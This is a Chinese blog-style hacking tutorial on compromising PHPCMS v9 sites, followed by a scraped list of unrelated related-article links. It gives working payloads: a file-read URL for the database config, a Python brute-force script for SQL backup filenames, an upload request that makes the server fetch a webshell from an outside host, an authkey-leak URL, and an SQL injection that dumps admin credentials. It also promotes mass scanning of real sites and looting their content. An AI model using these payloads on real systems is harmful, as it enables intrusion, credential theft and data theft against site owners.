作者:J0o1ey

原文来自:论如何优雅地拿下PHPCMS

一、PHPCM       PHP是国内领先的网站内容管理系统,同时也是一个开源的PHP开发框架,采用PHP5+MYSQL进行开发,拥有非常庞       百度百科介绍其优点主要如下:

①功能强大
      ②模块化,开源,可扩展功能强大灵活
      ③支持自定义模型和字段负载能力强,支持千万级数据模板制作方便
      ④支持中文标签和万能标签进行数据调用拥有门户级的碎片功能,
      ⑤融入了人性化体验
      ⑥加强了安全机制

前五条我们无可厚非,因为PHPCMS的开发团队确实比较专业和优秀,但是就算他真的安全机制优秀,难道我们就拿他没办法了嘛?作为一名小学生,自然是不服,让我们今天来盘点一下PHPCMS v9这些年爆出来的常见漏洞~(鸡肋一些的漏洞在此就不介绍了,主要介绍一些比较凶残的)

二、PHPCMS V9本地文件包含漏洞
漏洞出现在如下文件:phpcms/modules/search/index.php 
代码如下:

public function public_get_suggest_keyword() {
                $url = $_GET['url'].'&q='.$_GET['q'];
 
                $res = @file_get_contents($url);
                if(CHARSET != 'gbk') {
                        $res = iconv('gbk', CHARSET, $res);
                }
                echo $res;
        }

本处大家会发现在使用file_get_contents函数时没有过滤get方式得到的m参数
因此可以构造payload如下
www.xxx.com/m=search&a=public_get_suggest_keyword&q=../../phpsso_server/caches/configs/database.php
如果存在漏洞即可成功读取到phpcms的数据库配置文件,如图

如果目标的mysql服务对外网开启,则可以使用mysql连接程序直接脱裤
利用用户表的管理员账号密码(phpcms的管理员密码是加盐再md5加密的,需要解密),使用默认后台
www.xxx.com/admin.php]www.xxx.com/admin.php即可成功登录

三、phpcms V9 sql备份文件名爆破
参考文章:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=35472&highlight=phpcms
payload:/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/gv5dmx<<.sql

我们知道windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用
而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。

这个漏洞和前一阵子dedecms后台爆破如出一辙,api.php文件的$op变量决定用户的操作

# api.php
<?php
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'phpcms/base.php';
......
$op = isset($_GET['op']) && trim($_GET['op']) ? trim($_GET['op']) : exit('Operation can not be empty');
......
if (!preg_match('/([^a-z_]+)/i',$op) && file_exists(PHPCMS_PATH.'api/'.$op.'.php')) {
    include PHPCMS_PATH.'api/'.$op.'.php';
......
?>

在/api/creatimg.php文件中,使用了file_exists()函数判断$fontfile文件是否存在,文件存在和不存在的返回信息是不同的,而且$fontfile可以被用户控制,且未过滤.和/等符号,最终导致了漏洞发生。

 
# /api/creatimg.php
<?php
defined('IN_PHPCMS') or exit('No permission resources.');
$txt = trim($_GET['txt']);
if(extension_loaded('gd') && $txt ) {
    ......
    $fontfile = isset($_GET['font']) && !empty($_GET['font']) ? $fontpath.trim($_GET['font']) : $fontpath.'georgia.ttf';
    ......
    if(file_exists($fontfile)){
        //计算文本写入后的宽度,右下角 X 位置-左下角 X 位置
        $image_info = imagettfbbox($fontsize,0,$fontfile,$txt);
        $imageX = $image_info[2]-$image_info[0]+10;
        $imageY = $image_info[1]-$image_info[7]+5;
        ......

爆破脚本如下:

#!/usr/bin/env python
# coding=utf-8
'''/*
    * author = Mochazz
    * team   = 红日安全团队
    * env    = pyton3
    *
    */
'''
import requests
import itertools
characters = "abcdefghjklmnopqrstuvwxyz0123456789_!#"
backup_sql = ""
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
flag = 0
for num in range(1,7):
    if flag:
        break
    for pre in itertools.permutations(characters,num):
        pre = ''.join(list(pre))
        payload = payload.format(location=pre)
        r = requests.get(url+payload)
        if r.status_code == 200 and "PNG" in r.text:
            flag = 1
            backup_sql = pre
            payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
            break
        else:
            payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
print("[+] 前缀为:",backup_sql)
flag = 0
for i in range(30):
    if flag:
        break
    for ch in characters:
        if ch == characters[-1]:
            flag = 1
            break
        payload = payload.format(location=backup_sql+ch)
        r = requests.get(url + payload)
        if r.status_code == 200 and "PNG" in r.text:
            backup_sql += ch
            print("[+] ",backup_sql)
            payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
            break
        else:
            payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
print("备份sql文件地址为:",backup_sql+".sql")

效果如下:

拿到SQL文件后,可以导入本地查看,后续操作这里不多加赘述

四、PHPCMS前台上传getshell
漏洞复现参考(https://www.hackersb.cn/hacker/219.html)

漏洞复现的办法是先打开注册页面:
www.xxx.com/index.php?m=member&c=index&a=register&siteid=1]www.xxx.com/index.php?m=member&c=index&a=register&siteid=

然后向注册页面POST如下payload:
siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://files.hackersb.cn/webshell/antSword-shells/php_assert.php#.jpg>&dosubmit=1&protocol=然后就会报错并返回shell地址:

然后就可以连接啦。

但我在实战测试过程中发现这个漏洞由于危害极大,基本上都已经被运维打补丁了,因此现在存在这个漏洞的站点并不是很多

五、PHPCMS利用authkey泄露进行注入
众所周和PHPCMS在拿到authkey(这边简称key吧),便有一大堆注入,在此给大家简单讲解一下
首先分享一下爆出key的payload
www.xxx.com/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
<ignore_js_op> 
如图中的XI0G8h0TYyWTwZMFIgN9nxHUN9Syymf便是我们所说的key
拿到key后,我们该怎么办呢?
我们这边使用一个名为a.php的exp(exp请回复后下载)
大家可以使用phpstudy安装PHP环境
用法:将a.php丢到phpstudy配置的网站根目录中
访问url:
http://localhost/a.php?url=你要测试的url(不要加http)&key=你得到的key&id=userid=1%20and%20(SELECT%201%20FROM(SELECT%20count(*),concat((SELECT(SELECT%20concat(0x7e,0x27,cast((substring((select+concat(0x7e,0x27,username,0x3a,+password,+0x3a,+encrypt,0x27,0x40,0x7e)+FROM+`v9_admin`+WHERE+1+limit+0,1),1,62))%20as%20char),0x27,0x7e))%20FROM%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20FROM%20information_schema.columns%20group%20by%20x)a)

即可得到后台账号和密码,但是密码是加了salt的,大家可以去
http://cmd.la进行解密,但是是要收费的,你懂得
<ignore_js_op> 
然后使用解出的明文密码登录www.xxx.com/admin.php即可~

六、利用fuzz框架批量检测PHPCMS漏洞
我作为一名懒人,叫我一个个地手动检测漏洞是很不现实的,因此我选择使用test404的一款http fuzz框架实现批量检测
简单地编写了一下上述漏洞的插件,采集url进行批量fuzz,效果还是很不错的
如图是使用爆key插件的结果(还有很多了,不一一展示)
这些爆出key的大部分都是存在SQL注入的

有时候还会有福利,搞到个美女图片站什么的,把资源全部打包爽歪歪。。。

至于插件一类的,大家可以阅读原文下载哈~

七、资源下载
阅读原文即可下载:http fuzzer+编写好的插件,利用key注入的exp(exp请把txt扩展名改为php)

论如何优雅地拿下PHPCMS的更多相关文章

  1. 记一次期待已久的渗透 从phpcms到thinkphp

    0X01 前言 这是刚刚开始学习渗透的一个目标吧 这个站从刚开始学的那一天起,就想把他日下来. 可能是自己的信息收集能力太差了吧,导致一直无从下手 没有进展.这是需要慢慢积累的过程.还需努力学习. 0 ...

  2. phpcms v9.6.0任意文件上传漏洞

    距离上一次写博客已经过去很长一段时间了,最近也一直在学习,只是并没有分享出来  越来越发现会的东西真的太少了,继续努力吧. 中午的时候遇到了一个站点,看到群里好多人都在搞,自己就也去试了试,拿下来后发 ...

  3. 我熬夜读完这份“高分宝典”,竟4面拿下字节跳动offer

    前言 怎样的契机? 实际上,目前毕业已经两年时间了,在大学时就已经开始关注字节跳动的发展.一开始,我是电气自动化专业的,大二清楚目标之后就转计算机了,大四进了一家小型的互联网公司实习,具体就不说哪家了 ...

  4. 从零开始实现lmax-Disruptor队列(六)Disruptor 解决伪共享、消费者优雅停止实现原理解析

    MyDisruptor V6版本介绍 在v5版本的MyDisruptor实现DSL风格的API后.按照计划,v6版本的MyDisruptor作为最后一个版本,需要对MyDisruptor进行最终的一些 ...

  5. [Egret]优雅的写http

    首先,自从使用链式调用的写法后,就一发不可收拾的喜爱上了这种优雅的方式.不管是写架构还是写模块,我都会不自觉的使用这种最优雅的方式.链式写法既减少了代码量,又非常优雅的. 在使用 egret 的htt ...

  6. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  7. 如何优雅地使用Sublime Text

    Sublime Text:一款具有代码高亮.语法提示.自动完成且反应快速的编辑器软件,不仅具有华丽的界面,还支持插件扩展机制,用她来写代码,绝对是一种享受.相比于难于上手的Vim,浮肿沉重的Eclip ...

  8. 阿里巴巴最新开源项目 - [HandyJSON] 在Swift中优雅地处理JSON

    项目名称:HandyJSON 项目地址:https://github.com/alibaba/handyjson 背景 JSON是移动端开发常用的应用层数据交换协议.最常见的场景便是,客户端向服务端发 ...

  9. doT js 模板引擎【初探】要优雅不要污

    js中拼接html,总是感觉不够优雅,本着要优雅不要污,决定尝试js模板引擎. JavaScript 模板引擎 JavaScript 模板引擎作为数据与界面分离工作中最重要一环,越来越受开发者关注. ...

随机推荐

  1. linux 硬链接 软链接

    硬链接 链接文件的INode和源文件相同,删除互不影响,不支持跨分区,不支持目录 软链接 链接文件有单独的INode,其Block中存储源文件的INode信息,相当于windows中 的快捷方式 ln ...

  2. 2017-11-04 Sa Oct 消参

    2017-11-04 Sa $ P(-3, 0) $ 在圆C $ (x-3)^2 + y^2 = 8^2 $ 内,动圆M与圆相切且过P点,求M点轨迹. 设切点 $ A(a, b) $,圆心 \(M(x ...

  3. 关于Shader的学习记录

    float4 _EmissiveColor; float4 _AmbientColor; float _MySliderValue; void surf (Input IN, inout Surfac ...

  4. 即时通信 选择UDP还是TCP协议

    之前做过局域网的聊天软件,现在要做运行在广域网的聊天软件.开始接触网络编程,首先是接触到TCP和UDP协议 在网上查资料,都是这样描述 TCP面向连接,可靠,数据流 .UDP无连接,不可靠,数据报.但 ...

  5. 如何利用sql 读取辅表的最大max 和第二最大max。。。。

    SELECT `主表`.id, `主表`.title, `辅表`.* FROM tableB AS `辅表` INNER JOIN tableA AS `主表` ON `主表`.id = `辅表`.f ...

  6. spark streaming之三 rdd,job的动态生成以及动态调度

    前面一篇讲到了,DAG静态模板的生成.那么spark streaming会在每一个batch时间一到,就会根据DAG所形成的逻辑以及物理依赖链(dependencies)动态生成RDD以及由这些RDD ...

  7. CentOS 特殊变量($0、$1、$2、 $?、 $# 、$@、 $*)

    名称 说明 $0 脚本名称 $1-9 脚本执行时的参数1到参数9 $? 脚本的返回值 $# 脚本执行时,输入的参数的个数 $@ 输入的参数的具体内容(将输入的参数作为一个多个对象,即是所有参数的一个列 ...

  8. 【Unity】打包安卓APK常见问题

    问题:unity error invalid command android 原因:Android版本较新,Unity版本太旧(如4.X),Unity打包APK时调用Android工具使用的命令已被安 ...

  9. POJ-1797.HeavyTransportation(最长路中的最小权值)

    本题思路:最短路变形,改变松弛方式即可,dist存的是源结点到当前结点的最长路的最小权值. 参考代码: #include <cstdio> #include <cstring> ...

  10. Linux LVM扩容和缩容

    将原硬盘上的LVM分区/dev/mapper/RHEL-Data由原来的60G扩展到80G Step1:将LVData扩容+20G,如下图: [root@esc data]# lvextend -L ...